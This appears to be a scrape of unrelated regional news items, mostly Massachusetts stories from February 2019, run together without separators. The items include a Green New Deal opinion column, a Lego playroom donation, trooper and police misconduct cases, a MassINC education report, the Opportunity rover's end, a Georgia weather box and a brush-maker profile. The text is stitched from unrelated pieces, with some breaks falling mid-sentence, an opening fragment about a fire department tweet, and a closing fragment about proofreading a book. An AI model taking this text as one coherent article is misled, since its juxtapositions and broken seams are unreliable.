Boston Fire Joe Finn responded to the post with his own tweet, thanking Los Angeles for holding up the bet, but also taking a slight jab.Consider a comedy troupe looking to produce a parody of the so-called Green New Deal, the latest hot fad for some in the Democratic Party.

Theyd begin, of course, by reading the actual document, the 14 pages that lay out a vision of a future that runs on renewable energy and that is free of carbon emissions and the burning of those nasty fossil fuels that despoil our planet.

Suddenly would come their realization: We can't parody this thing; it's already a parody of itself.

While it's great to imagine a better, cleaner future, trying to get there by destroying the economy we've got is not exactly a winning formula.

The package was introduced in the House of Representatives by Alexandria Ocasio-Cortez, a freshman Democratic lawmaker from a New York district. A companion measure, also a resolution rather than proposed legislation, was introduced in the Senate by Ed Markey, a Massachusetts Democrat. As resolutions instead of proposed legislation, the measures are supposed to be viewed as aspirational. But merely laying out some of what's in the House measure shows the sheer ridiculousness of many of these goals.

How about "upgrading all existing buildings in the United States and building new buildings to achieve maximum energy efficiency, water efficiency, safety, affordability, comfort, and durability, including through electrification"?

What of "building resiliency against climate change-related disasters, such as extreme weather"?

Though much of the Green New Deal focuses on environmental issues, it most assuredly doesn't stop there. For example, there are plans "to promote justice and equity by stopping current, preventing future, and repairing historic oppression of indigenous peoples, communities of color, migrant communities, deindustrialized communities, depopulated rural communities, the poor, low-income workers, women, the elderly, the unhoused, people with disabilities, and youth."

And then there's "strengthening and protecting the right of all workers to organize, unionize, and collectively bargain free of coercion, intimidation, and harassment."

Want some pie in the sky with your order?

Here was House Speaker Nancy Pelosi, throwing cold water on the resolution, which she told Politico "will be one of several, or maybe many, suggestions that we receive. The green dream or whatever they call it, nobody knows what it is, but theyre for it, right?"

Yup, they're for it, all right.

Ocasio-Cortez has fully 60 Democratic co-sponsors for her resolution. And the party's presidential hopefuls have been falling all over themselves to sign on, too. This comes as no great shock, not only given the increasingly leftward tilt of today's Democratic Party, but also when one considers the political leanings of most of the earliest announced candidates. Somewhat surprisingly, however, was that Sen. Amy Klobuchar, a Democrat from Minnesota who kicked off her presidential campaign on Sunday, positioning herself as more a pragmatist than a progressive, said she supports the Green New Deal.

Only time will tell what that actually means, of course. Though many Democrats may back the resolution, at least in theory and at least more or less, some may seek to put their own personal spin on the matter.

Here's hoping. Because if Democrats just mindlessly go along with the whole green enchilada, they run the very real risk of coming off as out-of-touch fanatics and economic illiterates.

Donald Trump won the presidency, in part, by getting folks who had supported Barack Obama in 2008 and again in 2012 to change course and support the reality TV star who vowed to overturn the apple cart. If they hope to win back a good number of those voters, many of them in midwestern states that are crucial in a presidential election, they'd do well not to embrace fully the general operating principles of a command economy.

Caring about the environment may poll well, at least when people are asked questions in general terms, but it's likely to suffer badly if Democrats begin to flesh out the broad outlines, and calculate the likely costs, of their Green New Deal.

Though the lefties may take the document seriously, there will doubtless be many people who'll see it as farcical.

Those looking to save the environment, or to see that a Democrat gets elected president in 2020, would do well not to get normal people snickering at their supposedly bold new ideas.SPRINGFIELD -- When 20 representatives of Lego Systems Inc. spent a play date with children from Square One's Tommie Johnson Child & Family Center last fall, they promised they'd be back with a big surprise.

On Tuesday -- to the delight of children and teachers -- Lego's community engagement division delivered on that promise as company executives and designers unveiled an eye-popping new Lego-themed playroom in the basement of Square One's 255 King St. facility.

"It's truly transformational," Square One CEO Joan Kagan said during a ribbon-cutting ceremony for the new playscape.

Skip Kodak, president of Lego Systems Inc., said, "It makes us all proud to be able to create a space for kids to play," adding that Lego's Community Fund U.S. is dedicated to supporting programs that benefit children in areas of learning, creativity and problem solving.

Kodak praised Lego's four-woman design team -- Michele Clapsaddle, Jessica Macsata, Doreen Fazio and Doreen Lisa Wolford -- for the teamwork and creativity they displayed in transforming a drab, cinderblock and brick space into a magical place.

The designers were among the Lego employees who visited the Square One center in October to introduce students to the hundreds of ways to create objects from Lego's brightly colored plastic bricks.

Lego's Timothy Kirchmann came up with the ideas to redesign the playroom, and the team took up the challenge.

The team measured and re-measured the space on multiple visits. When they returned to the office, they came up with mock-ups incorporating Lego figures fighting fires, driving race cars and fishing, Wolford said.

"We had so much fun doing it," she said.

Salamon Flooring of West Springfield and Spotlight Graphics of Southwick partnered with the Lego team to bring the space to life.

After the celebration ended, there was a second surprise for the children.

Kris Allard, Square One's chief development and communications officer, announced that each of the 150 preschoolers who attend the center would go home with a new Lego set.WASHINGTON - President Donald Trump continued Wednesday to highlight statements by the chairman of the Senate Intelligence Committee that it has found no collusion between Russia and the Trump campaign even as the panel's top Democrat said that assessment is premature.

"The Senate Intelligence Committee: THERE IS NO EVIDENCE OF COLLUSION BETWEEN THE TRUMP CAMPAIGN AND RUSSIA!" Trump wrote in a predawn tweet.

He was referencing comments by Sen. Richard Burr, R-N.C., the committee's chairman, that to this point its investigation has not found direct evidence of coordination between Trump's campaign and Russia in the 2016 presidential race.

Sen. Mark R. Warner, D-Va., the panel's vice chairman, said Tuesday that he "respectfully" disagrees with Burr.

"I'm not going to get into any conclusions I've reached because my basis of this has been that I'm not going to reach any conclusion until we finish the investigation," Warner told CNN. "And we still have a number of the key witnesses to come back."

The divergence is a rare split between Burr and Warner, who have sought to highlight the bipartisan nature of the committee's ongoing, two-year investigation into Russian election interference.

In an interview with CBS last week, Burr said that his assessment was "based on the evidence to date."

"If we write a report based upon the facts that we have, then we don't have anything that would suggest there was collusion by the Trump campaign and Russia," Burr said.

On Tuesday, Burr reiterated to reporters that "we don't have any" evidence of collusion.

Asked whether the committee's investigation exonerated Trump, Burr said: "Just saying what factually we've found to date. We haven't finished our investigation."

Last week, Trump seized on Burr's comments to CBS, writing that the "mainstream media has refused to cover the fact that the head of the VERY important Senate Intelligence Committee, after two years of intensive study and access to Intelligence that only they could get, just stated that they have found NO COLLUSION between 'Trump' & Russia."

He went on to call investigations into the matter, including that of special counsel Robert Muller III, a "GIANT AND ILLEGAL HOAX."

In a court record this month, a lawyer on Mueller's team said that one of the special counsel's main tasks is examining contacts between Americans and Russia during the 2016 race to determine whether Trump associates conspired with the Russian-backed interference campaign.NORTHAMPTON -- Hampshire Council of Governments Executive Director Todd Ford on Tuesday announced the start of $1.8 million in repairs and renovations to the old courthouse at 99 Main St., which the agency calls home.

"The old courthouse building is an iconic staple of downtown Northampton, and a beloved shared resource within the community," Ford said in a statement. "We are thrilled to see this restoration through and look forward to showcasing the building as it should be."

The multistory 1886 structure boasts an exterior of rough-rock granite and smooth brownstone, with a triple-arched entrance atop a long exterior stairway behind black iron fencing.

The statement says: "This phase of the project consists of repairs to the roof, tower, as well as windows and masonry. The renovation and repairs are necessary to return this classic building back to the masterpiece it once was. The building is owned and occupied by HCG."

According to Ford, the bulk of the money to fund the renovations is from a $1.3 million grant awarded in 2017 by the state Division of Capital Asset Management and Maintenance.

His statement says: "In 2015, DCAMM released $500,000 for safety repairs to the building's steps and roof. The Northampton Community Preservation committee has played an integral role in the plans for this phase of renovation, contributing $200,000 to the building restoration. Local Community Preservation Acts contributed an additional $10,000 from Hatfield and $8,000 from Goshen. Area banks have pledged $38,000, and the Hampshire Foundation Buy a Brick provided $8,800 from local residents and businesses."

Boston Bay Architects Inc. of Arlington is overseeing the project, and Wesfield Construction Co. of New Hampshire won the bid for construction.

"This restoration will begin at the top of the southern-facing tower with the replacement of terracotta roof tiles. Exterior repairs include masonry stone restoration, and brick stabilization. The tower interior carpentry work will focus on roof, floor, stairs, and railings," the statement says.

A scene from the 2010 movie "Edge of Darkness," starring Mel Gibson as a Boston police homicide detective, was shot at the old courthouse.

The state has kept the county's law library in the building's first floor, renting that space from the HCG. A large courtroom above the council's second-floor quarters is also part of the rental arrangement.

Although the courtroom is used infrequently, past efforts to take it out of commission have met with resistance.

During a state fiscal crisis in 2010, a move to save money by ending the lease at 99 Main St. was opposed by Hampshire Superior Court Clerk Harry Jekanowski Jr.

In a letter at the time to the state's chief judge for administration and management, Jekanowski said there are 200 seats for spectators inside the old courthouse's chambers, but only 65 at the Hampshire Superior Court's adjacent 15 Gothic St. site. The extra space comes in handy during high-profile cases, he said.Another Massachusetts State Police trooper accused of stealing overtime money by skipping specialized patrol shifts and writing fake tickets to hide his actions agreed to plead guilty to one count of embezzlement.

The U.S. Attorneys Office announced Wednesday that 40-year-old Heath McAuliffe of Hopkinton, agreed to plead guilty to one count of embezzlement from an agency receiving federal funds.

A plea hearing date has not been scheduled.

McAuliffe, who is currently suspended, is one of several troopers from the former Troop E accused of skipping specialized enforcement patrols  known as AIRE patrols  on the Massachusetts Turnpike.

McAuliffe will admit to collecting $7,860 for overtime hours that he did not work between August of 2015 and August of 2016. The government is recommending he serve 6 months to one year in prison.

McAuliffe was paid for overtime shifts that he did not work at all, for which he arrived late, and from which he left early, authorities said. McAuliffe concealed his fraud by submitting fraudulent citations designed to create the appearance that he had worked overtime hours that he had not, and, falsely claimed in MSP paperwork and payroll entries that he had worked the entirety of his overtime shifts.

The AIRE patrols  Accident and Injury Reduction Effort  were created to reduce accidents, crashes and injuries on the Mass. Pike. Troopers were assigned to target speeding drivers.

Eight troopers have been charged in federal court in the overtime scandal. Seven have pleaded guilty to the embezzlement charge.

All of the troopers are accused of skipping shifts and filing phony citations.

A total of 46 troopers were placed under investigation in the overtime abuse scandal.

In 2016, McAuliffe earned approximately $164,680, which included approximately $60,908 in overtime pay. In 2015, McAuliffe earned approximately $180,215, which included approximately $83,496 in overtime pay.

Along with the federal charges, three troopers face state charges in the investigation. Lt. David Wilson, a former commander in Troop E, is the only trooper facing state and federal charges. He pleaded guilty to the federal embezzlement charge last month.While Massachusetts students consistently post some of the highest test scores in the country, the state also has an achievement gap, with many poor and minority students falling through it.

We have a moral imperative to figure out how to do better and how to fix that, said Commissioner of Elementary and Secondary Education Jeff Riley.

But how to improve education in a district  and how to measure whether a district is improving  is subject to debate.

A new 47-page report by the think tank MassINC argues that more needs to be done to promote local accountability. That means districts developing their own tools for evaluating school and student performance.

Were not defining as communities what we want to achieve and holding ourselves accountable to doing those things, said MassINC research director Ben Forman at an event Wednesday at the Statehouse presenting the new report.

The report argues that the idea of local accountability is particularly important for Gateway Cities, struggling cities with the potential to anchor local economies, since those cities have a disproportionate share of the states underperforming schools.

Today, most standards by which schools are evaluated are set by the state and federal governments and often involve standardized test scores.

Salem Mayor Kim Driscoll, speaking on a panel at the MassINC event, said when people in schools hear about accountability, It is completely external to what theyre doing, completely driven by the district, state, and federal government and not about what are we going to do together on behalf of kids.

The MassINC report outlines a vision in which local districts  students, parents, teachers and administrators  can develop their own standards for measuring schools to supplement the standards set by state and federal government. For example, districts could choose to monitor how many students complete internships in high school or take college-level classes. They could monitor indicators of health and wellness, like obesity rates or rates of exercise. They could look at how many students enroll in high-quality summer programs, or complete a service learning project.

These are things that are more shaped by local culture, local priorities and local values, that its incumbent for communities to choose and define how theyre going to measure progress on those fronts and hold everyone accountable, Forman said.

While schools are required by law to write strategic plans, the report found that plans in Gateway Cities tended to lack clearly defined goals with measurable outcomes. When struggling districts were required to write school improvement plans, many of those plans also did not include measurable goals for student learning.

Tracy Novick, field director for the Massachusetts Association of School Committees, said these plans are often boring and not meaningful or accessible to parents. They are compliance documents that are written by a specific population for a specific population, which doesnt represent most of the population, she said.

The MassINC report found that often, the people making school policy are not representative of the students and parents who are affected. While 64 percent of Gateway City students are non-white, only 14 percent of full-time staff and 11 percent of school committee members are nonwhite.

Forman said evidence shows that a lack of diversity in school committees trickles down to the classroom and means we dont get the results we need from students of color.

The whole idea is to define what our aspirations and values are, and we cant do that with bodies that dont represent the people who our schools serve, Forman said.

A 1993 education reform law required all Massachusetts schools to form school councils, which have representation from teachers, parents, high school students and community members. But a MassINC survey of school council members and principals found that the members believe they have limited influence. For example, just 15 percent of respondents said the school council shapes curriculum, 12 percent report having influence over teacher hiring, and 31 percent said the council has influence over the school budget.

Novick said often, basic logistics discourage parents from getting involved. For example, school council meetings may be held during the workday, or meetings are in locations that are inaccessible by public transportation.

Riley said the state is interested in enlisting communities to improve their schools. State officials are launching a campaign to recruit diverse teachers, so teachers become more racially representative of the students. But while there are some things government can do, he said, The real power is locally.

The MassINC report makes several recommendations:

provide state incentives to local districts that develop measurable plans to improve student outcomes;

help districts make better use of data;

use money from the state education funding formula to support innovation;

develop parent leaders;

reinvigorate school councils;

and support efforts to change the way school committee are governed.

Driscoll said any local accountability efforts must be created within the district to measure if school officials are working in a way that is smart and strategic. Local accountability is tremendously important, and we could really screw it up by building it into state or federal laws or regulations, she said.After 15 years of reporting back data from the surface of the Red Planet, NASAs Mars rover Opportunity has gone silent.

The wheeled, golf cart-sized rover, which was only supposed to function for 90 days, became the longest-lasting robotic explorer sent to another planet. It traveled more than 28 miles.

Opportunity has been silent since June 10, 2018 when a planet-wide dust storm prevented sunlight from reaching its solar panels and forced it into hibernation mode. Its final message to NASA was that the skies had grown very dark and its battery was nearly depleted.

NASA hoped the rover would power up when the Martian skies cleared and made more than 800 attempts to contact it.

On Tuesday night, NASA made its final call to Opportunity and there was no response, officials revealed at a press briefing from the Jet Propulsion Laboratory in Pasadena, California, on Wednesday afternoon.

I am standing here with a sense of deep appreciation and gratitude that I declare the opportunity mission as complete, said Thomas Zurbuchen, associate administrator of NASAs Science Mission Directorate, during the briefing streamed on NASA Live.

NASA Administrator Jim Bridenstine tweeted, Were announcing the end of a successful Martian mission. Intended to explore the Red Planet for 90 days, Oppy outlived its mission lifetime by 14+ years.

Opportunity was the second of two rovers sent to Mars as part of the Mars Exploration Rover mission. The first rover, Spirit, became stuck in a sand dune in 2009 and NASA announced its mission complete in 2011.

Mars Storm Watch: The dust storm now circles the planet. No signal yet from Opportunity, but no response is expected until skies begin to clear. We continue to listen daily. https://t.co/VwuuPwEpPA pic.twitter.com/8q7lDoezxs  Spirit and Oppy (@MarsRovers) June 20, 2018

#OppyPhoneHome Update

With Mars' skies clearing, we'll be trying multiple times a day to command Opportunity via the Deep Space Network, and continue passive listening via broadband. More: https://t.co/YvoDCwT3Vw pic.twitter.com/6Cns83PYa7  Spirit and Oppy (@MarsRovers) September 11, 2018

Spent the evening at JPL as the last ever commands were sent to the Opportunity rover on #Mars. 



There was silence. There were tears. There were hugs. There were memories and laughs shared.#ThankYouOppy #GoodnightOppy pic.twitter.com/JYRPtKZ8T5  Dr. Tanya Harrison (@tanyaofmars) February 13, 2019A fire engine burst into flames inside one of Mansfields two fire houses early Wednesday morning, injuring two firefighters and damaging equipment.

The blaze broke out inside the North Main Street Fire Station around 3 a.m. and closed the road for hours, according to the Mansfield Police Department.

Firefighters managed to save another fire truck and an ambulance that were inside the station at the time, Boston 25 reported.

Two firefighters were treated for smoke inhalation, according to the television station.

The cause of the fire remains under investigation.Folkston, GA (31537)

Today

Variable clouds with scattered thunderstorms. High 81F. Winds ENE at 10 to 15 mph. Chance of rain 50%..

Tonight

A few clouds. A stray shower or thunderstorm is possible. Low 69F. Winds NE at 5 to 10 mph.SPRINGFIELD  A husband and wife are facing potential prison terms of seven years after pleading guilty to rigging bids and skimming reimbursements for federally funded repairs to dozens of foreclosed properties across Western Massachusetts.

James Murray, 53, and Joanne Murray, 54, both of Ludlow, pleaded guilty Monday in U.S. District Court in Springfield to aggravated identity theft, tax evasion and conspiracy to commit mail fraud.

Under a plea agreement, they both face possible prison terms of between 53 and 61 months and are responsible for more than $180,000 in restitution and tax payments.

According to a three-count complaint, Joanne Murray began working in 2009 for a real estate brokerage that handled homes with foreclosed mortgages for the Federal Home Loan Improvement Corp., also known as Freddie Mac. Between 2010 and 2015, she handled most of the firms foreclosed mortgages and steered $1,372,099 in repair and maintenance contracts to companies operated by her husband, according to prosecutors.

She never disclosed her ties to the companies  Murray Home Improvement and Express Property Services and Home Improvement  and denied any connection when questioned, prosecutors said. She also steered home cleaning contracts worth approximately $68,960 to another business that employed a relative, according to the complaint, which does not identify the company.

As part of the scheme, Joanne Murray submitted falsified bids in the names of other contractors and a family friend who were purportedly bidding on contracts that were ultimately awarded to her husbands companies. When federal funding for the projects was awarded, Joanne Murray and other, unidentified brokers skimmed 10 percent of the money for themselves, according to prosecutors.

In addition, Joanne and James Murray failed to disclose income from the scheme on their tax forms. In 2014, according to prosecutors, the Murrays underreported their income by approximately $151,178.

The conspiracy charge carries a sentence of no greater than five years in prison, up to five years of supervised release, and a fine of $250,000. The aggravated identity theft charge carries a mandatory two-year sentence. The maximum sentence for tax evasion is five years in prison, five years of supervised release, and a fine of $100,000.

Judge Mark Mastroianni, who accepted the couples guilty pleas on Monday, will impose the sentences after reviewing reports from federal probation officials. The sentencing date was not available Tuesday.

Assistant U.S. Attorneys Steven Breslow and Deepika Shukla are prosecuting the case.Massachusetts should require more transparency in prescription drug pricing. It should protect patients from surprise out-of-network billing and facility fees. Policymakers should address price variation between different hospitals and doctors.

The Massachusetts Health Policy Commission made 11 recommendations as part of its 2018 Health Care Cost Trends report. The recommendations highlight many areas that lawmakers already tried  and failed  to address last year, and could provide a template for further discussion of reforms in the current legislative session.

House and Senate leaders have said they anticipate lawmakers will take another crack at passing a major health care bill this session, and the report could provide a basis for some issues lawmakers will consider.

The recommendations released in todays report should be a blueprint for the Commonwealth to carry on the significant progress already made in reducing health care spending growth and to face remaining challenges, such as increasing pharmaceutical prices and the utilization of higher-cost hospital outpatient settings, Health Policy Commission Chairman Stuart Altman said in a statement.

Massachusetts has been struggling with the high cost of health care for years. Last year, the House and Senate both released versions of bills that would address some of the cost issues. The bills also aimed to help financially struggling community hospitals.

But the House and Senate were unable to reach a final agreement, and nothing ultimately got passed.

In its latest report, released Wednesday, the independent state health policy agency flagged many of the areas that were addressed by the bills as continuing problems.

One area of significant disagreement between the House and the Senate was how to address provider price variation, where insurers pay different hospitals vastly different amounts for the same service. The report advocates for specific, data-driven interventions to address price variation, without a detailed proposal.

The report includes recommendations to rein in out-of-network billing when someone undergoes a procedure at an inpatient facility and to eliminate some facility fees for hospital-affiliated outpatient clinics, both topics included in last years legislative bills.

The report revives proposals to create a new mid-level dental practitioner, do more with telemedicine and let emergency medical technicians treat patients at home.

One new recommendation is in an area that Gov. Charlie Bakers administration has already made a priority: reining in growing costs for prescription drugs.

Baker wants to give MassHealth authority to set prices for certain expensive drugs.

The Legislature, in their bills, proposed requiring drug makers to testify at annual public hearings on health care costs and requiring more consumer transparency on drug costs.

The Health Policy Commission report supports Bakers proposal to let MassHealth review the price of high-cost drugs and also let MassHealth negotiate with drug companies for better prices. It recommends telling consumers when a drug would cost less without insurance, and providing more public oversight of pharmaceutical manufacturers, medical device companies, and pharmacy benefit managers.

The report also recommends looking at ways to eliminate some of the administrative complexity in the health care system. It suggests the state work on eliminating low-value care and address some of the social determinants of health, which are societal factors that affect health, like access to fresh food or safe housing.At Springfield Police Officer Daniel Billingsleys arraignment Wednesday morning, state prosecutors described him as a participant in a brutal attack that left one victim, Herman Paul Cumby, with permanent injuries.

In a statement, Billingsleys defense attorney Shawn Allyn said his client is innocent -- and that prosecutors have the situation backwards.

When all the facts of this case are revealed, which dates back four years, the image portrayed by the media will be completely dispelled and my client will be vindicated, Allyn wrote. The alleged victim is a violent criminal who cracked my clients skull causing him to have surgery and extensive head injuries.

Allyn also shared photographs of Billingsleys head featuring injuries he attributed to Cumby. Two of the photographs show Billingsley with a black eye and abrasions on the side of his head. Another shows the officer with stitches on his temple.

Billingsley was repeatedly kicked in the head and side of the face, Allyn said. According to the departments internal investigation of the incident, Billingsley missed two days of work with severe migraines after the fight.

The statement is the first public account of the fight by one of the off-duty police officers accused of attacking Cumby, his cousins Jackie and Jozelle Ligon and Michael Cintron following an argument at Nathan Bills Bar and Restaurant on April 8, 2015.

It is also the first public acknowledgement of involvement in the altercation by any Springfield police officer.

The statement contradicts the accounts given by Cumby and his cousins, as well as the conclusions reached by the Office of Hampden District Attorney Anthony Gulluni.

Paul vehemently denies he was the aggressor in any way," Cumbys attorney Michelle Cruz said. His memory is he went over there to break it up and be the peacekeeper, and was knocked out.

After Cumby filed a complaint in May of 2015, he and the Ligon brothers told detectives with the SPDs Major Crimes Unit that they had been the victims of an attack by a crowd of men that included off-duty Springfield police officers.

They and their friend Cintron were drinking at Nathan Bills, a popular Springfield nightspot and off-duty police hangout, when Jozelle Ligon got into an argument with Billingsley, they told police. Billingsley allegedly believed that Ligon had whistled at his girlfriend, while Ligon maintains he was whistling to catch the attention of a bartender.

A verbal argument ensued between Ligon and Billingsley, who was drinking with Cicero, Cicero and his then-girlfriend Officer Melissa Rodriguez. Tensions heightened but the initial dispute ended without violence, after the Ligon brothers and their party were asked to leave the bar.

I dont want no trouble. I didnt want them to getting in trouble when theyre with me. My whole goal was to stop it. At the bar, when it first started, I stopped it. Outside, I smoothed it out again, calmed my cousins down and everything. Thats what I was doing," Cumby told detectives in a videotaped interview. If the place got video, itll show that Im the peacemaker.

Cumby said that he did not want to drive his truck immediately after leaving the bar, fearing that he would be pulled over by police. He said he separated from the group and went for a walk while talking to his girlfriend on the phone, while his cousins waited down the street in a parking lot.

When the group reunited, they allegedly saw a group of men bearing down on them from the direction of the bar. Cumby and his cousins say that one off-duty officer shoved past Jackie Ligon and punched his brother Jozelle, at which point Jackie began throwing punches of his own.

They dont come to talk. He walks right past my brother and pushes through my brother, then he swings and he hits me," Jozelle Ligon told police. I got jumped, pretty much.

Cumby then tried to break up the fight, but was struck in the back of the head and knocked out, according to him and his cousins. He also suffered a broken leg and loosened teeth.

The group of alleged attackers had left the scene by the time uniformed officers and EMTs responded to the fight. No arrests were made, and no charges were filed in the case until the Office of Attorney General Maura Healey charged Diaz with assault and battery with a dangerous weapon and conspiracy in October.

Billingsley and the three of the other other officers charged Wednesday -- Christian Cicero, Anthony Cicero and Igor Basovskiy -- all exercised their Fifth Amendment right to remain silent when approached by Springfield Police investigators in 2015. Officer Jameson Williams, who was also charged Wednesday, was not mentioned in the departments internal investigation of the allegations. Diaz gave internal investigators a brief account of his whereabouts before asserting his Fifth Amendment rights in 2015.

The Hampden District Attorney Anthony Gulluni announced his office would not file charges in February of 2017, saying weak identifications of the attackers meant that a successful prosecution was not possible. But Gulluni said he believed Cumby and his cousins had been victims of an assault.

According to Allyn, the investigation by the FBI and Massachusetts Attorney Generals Office that has led to charges against Billingsley has falsely accused an innocent man.

Dan Billingsley looks forward to his day in court to prove his innocence, Allyn said in a statement. "A vigorous and aggressive defense is planned by my office.SPRINGFIELD - Carrie Saldo, host of WGBY 57's week night news magazine program Connecting Point and a reporter for Greater Boston and WGBH Public Radio, has been named the first recipient of Christ Church Cathedral's Bishop's Award.

The award, honoring a journalist for "excellence in bringing local and national concerns to the people of Western Massachusetts, will be presented to Saldo during the second annual "Blessing of Journalists" noon service Wednesday, Feb. 20, at the cathedral at 35 Chestnut St.

The Right Rev. Douglas Fisher, bishop of the Episcopal Diocese of Western Massachusetts for which the cathedral is the seat, will speak as will Mark Hambley, former U. S. ambassador to Qatar and Lebanon, who will address the murder of Jamal Khashoggi, a prominent Saudi dissident journalist who lived in Virginia and wrote for The Washington Post and was killed Oct. 2 inside the Saudi consulate in Istanbul, Turkey.

The service, initiated last year by Fisher, who is know for his activism and the Very Rev. Tom Callard, cathedral dean, and open to all those who want to show support for "the work of a free press," will include readings of the First Amendment from the U.S. Constitution and from Scripture.

The date was selected in conjunction with the Episcopal Church's annual commemoration of Frederick Douglass, the 19th century orator, civil rights leader and editor of the pro-abolition journal The North Star.

The award recipient will be given a framed page from the paper founded by Douglass.

Douglass was born into slavery in Maryland, but was able to escape North, and died Feb. 20, 1895.

Douglass appeared before a a large audience at City Hall in Springfield on the night of April 12, 1865, speaking the topic of "equality before the law." On another occasion, he also debated the Rev. Leonard Collins, pastor of St. John's Congregational Church here, on whether blacks had the right to organize their own churches.

His belief in equal rights included equality for women as well. In 1848, he was the only African American to attend the first women's rights convention at Seneca Falls, New York.

Douglass second wife, Helen Pitts, an early feminist, was a graduate of Mount Holyoke College.Former Boston Celtics star Isaiah Thomas could return as soon as Wednesday from the hip injury that sidelined him for lengthy stretches last year and required season-ending surgery.

Denver guard Isaiah Thomas will decide early in the day about possibly making his season debut vs. Sacramento on Wednesday, league source tells ESPN. Nuggets have upgraded Thomas to questionable. He's been out since hip surgery last March.  Adrian Wojnarowski (@wojespn) February 12, 2019

The Celtics traded Thomas last offseason in the deal that brought in Kyrie Irving, but Thomas has not lost his connection to the city of Boston. Celtics fans still flood his mentions whenever he tweets, and when the Nuggets visit Boston on March 18, there will likely be a tribute video and an enormous ovation waiting for him.

There was a mild controversy last season prior to the trade deadline, when the Celtics scheduled Paul Pierces jersey retirement ceremony for a game against the Cleveland Cavaliers, for whom Thomas was playing at the time. Pierce said he didnt want to share his night with Thomas, after which Thomas said he would prefer not to have a tribute video that night either. But Thomas was traded to the Los Angeles Lakers prior to the deadline, cutting out any unnecessary drama (the Lakers had already visited Boston that season).

The Nuggets have been one of the surprise teams in the Western Conference this season, holding the No. 2 seed behind the Golden State Warriors. Denver is loaded at the guard position, but if Thomas can return to something close to his level with the Celtics, he will be a big contributor for one of the best teams in the NBA.SPRINGFIELD  CRRC MA plans to build a 42,500-square-foot warehouse at its Page Boulevard factory to house large components like wheel and motor assemblies and HVAC components for the transit cars it builds there.

CRRC is selecting contractors now and completion is expected in August, said Lydia Rivera, a CRRC MA spokeswoman. Its the first major expansion of the East Springfield facility, which began production in late 2018. CRRC also has an office building on the site that was once part of the old Westinghouse complex.

We need the space, she said.

CRRC MAs factory is a busy place with work continuing on the 152 new Orange Line subway cars its building for the MBTA and work soon to begin on an initial order of 252 new Red Line Subway Cars. They will cost a total of $566 million.

The T has also agreed to buy another 120 new Red Line cars starting in June 2022 at a total cost of $277 million.

CRRC also plans to start building cars for Philadelphia and Los Angeles in 2020. CRRC is building 45 double-decker train cars for SEPTA, Greater Philadelphias transit system, for $137.5 million.

Los Angeles has ordered 64 new subway cars at a cost of $178.4 million, with an option for 218 more beginning in 2021. And the Chinese-owned company is pursuing more deals to build cars for Atlanta and New York City, Rivera said.

A separate CRRC subsidiary is working on a deal to build cars for the Washington, D.C. area transit agency.

CRRC MA, the subsidiary here in Springfield, has a total of 248 employees and most are in Springfield or Boston with a few in Los Angeles. Of the 248, 152 work in Springfield and 90 are union production employees.

The cars arrive in Springfield from China as shells. Springfield workers install all the mechanical systems, the wheel assemblies with motors, heating, ventilation and air-conditioning as well as seats, flooring, interior walls, windows, doors , lights, signs and display boards and exterior lettering.

Seventy percent of the components are U.S.-made.

The First Orange Line cars have already been shipped to the MBTA and are being tested now.PALMER - When Hollywood came calling, Sanderson MacLeod didn't give the request the brush-off.

The year was 1958. A makeup artist who wanted a better way to apply mascara to the eyes of his movie star clients contacted the brush maker. At the time, mascara was applied using something akin to a wood screw.

With three employees and a few machines, company founders Ken Sanderson and Bruce MacLeod invented the first twisted wire mascara brush, creating an industry standard that was widely developed by major cosmetic companies.

More than 60 years later, Sanderson MacLeod is still going strong, with approximately 120 employees at its South Main Street location. Cosmetic brushes remain one of its four major brush markets, along with medical devices, firearm cleaning and original equipment manufacturers.

"We're one of the last remaining dedicated twisted wire brushmakers in the world," says Sanderson MacLeod CEO and president Mark N. Borsari. "We're the only one in the United States dedicated to this type of brush technology."

The company has had significant growth in all four markets, he notes.

Founders Sanderson and MacLeod left their jobs at Better Brush to form Specialty Brush in 1956, the predecessor to the business that now holds their names. But the company dates back even further, to 1920, the year of the first Better Brush transaction for $4.30 - an order for a bath brush, crumb brush and cloth brush on South Main Street.

In the 1970s, the company entered the medical device market, becoming the largest medical brush maker in the country. The company's experience making mascara brushes - the specifications are tight and must be exact - helped make it a better medical brush manufacturer, according to Borsari. It makes mascara brushes for many of the major cosmetic brands, Borsari says, and the fiber technology used in mascara brushes changes every year.

In the medical world, the company is known for its Z-Tip and ZTip+. The Z-Tip is its patented method of putting protective tips on endoscope cleaning brushes and cytology brushes. Lasers are used to create an inseparable ball at the end of the brush, Borsari says.

The ZTip+ features color-coated tips, he adds, noting that both models do not have separation risks associated with an inserted molded tip. Without the protective tips, the brushes can damage equipment or hurt a patient, he explains.

"Separation is one of the things in the medical industry that everyone panics about," Borsari said.

A commitment to innovation is key, according to Borsari. The company has a Brush Innovation Center on-site at its 137,000-square-foot facility. The center, which made its debut approximately three years ago, allows for collaborative meetings where ideas can be shaped into prototypes.

The center also features a "steampunk-style" conference table fashioned from long-retired brush making tools, automation equipment, and industrial revolution-era antiques found in the company's warehouse and local flea markets, a project that Palmer Steampunk artist Bruce Rosenbaum helped coordinate.

The company also is a "lean" operation, something it adopted in 2008, Borsari says.

Sanderson MacLeod uses a combination of automaton (to make products faster in-house), experience (some of the workers are fourth-generation employees) and innovation to stay competitive, Borsari said. The company also prides itself on a family-type atmosphere to help attract and keep quality employees, he said. It recently added a 1950s-style diner on the grounds, and an appreciation patio for the employees, and also hosts barbecues in the summer.

Borsari praises his senior management team and the dedication of his employees, keys to Sanderson's continued success.

About a year-and-a-half ago, the company launched MIXCreative in New York City, a concept-to-launch marketing firm that is working on its CIMA line of integrated mascara assemblies. Borsari says the stand-alone company was created to keep the costs out of Sanderson MacLeod's operation, so it could be run as creatively as possible.

"We want to continuously be pushing the borders of what we can do with our products," Borsari says.

The company has been called upon for some unusual projects. Nine years ago, it received a request for medical brushes, but not for the medical industry. Instead, the brushes were to be used to clean lint buildup in Carlsbad Caverns in New Mexico.

"We're doing crazy projects non-stop," he says.

They're working on a brush-cleaning system for coffee makers and looking into creating brushes for different glassware used in the burgeoning cannabis market.

Borsari estimates the company has approximately 200 customers, and "hundreds of product launches" under its belt.

While the private company does not disclose its annual sales, Borsari said it has been growing exponentially for the last three or four years.

"I absolutely love the diversity of market and the clients that we work for," Borsari said.To proofread, she divided the pages into groups of 14. She reviewed the pages every day after she dropped her cousin off to work  still sitting in her van in her driveway.

She said she knew she would be productive in the driveway, but she would get distracted easily if she went into the house.

After rereading her book so many times, all the information that is in there is secured in my brain, and I thank God for that, she said.

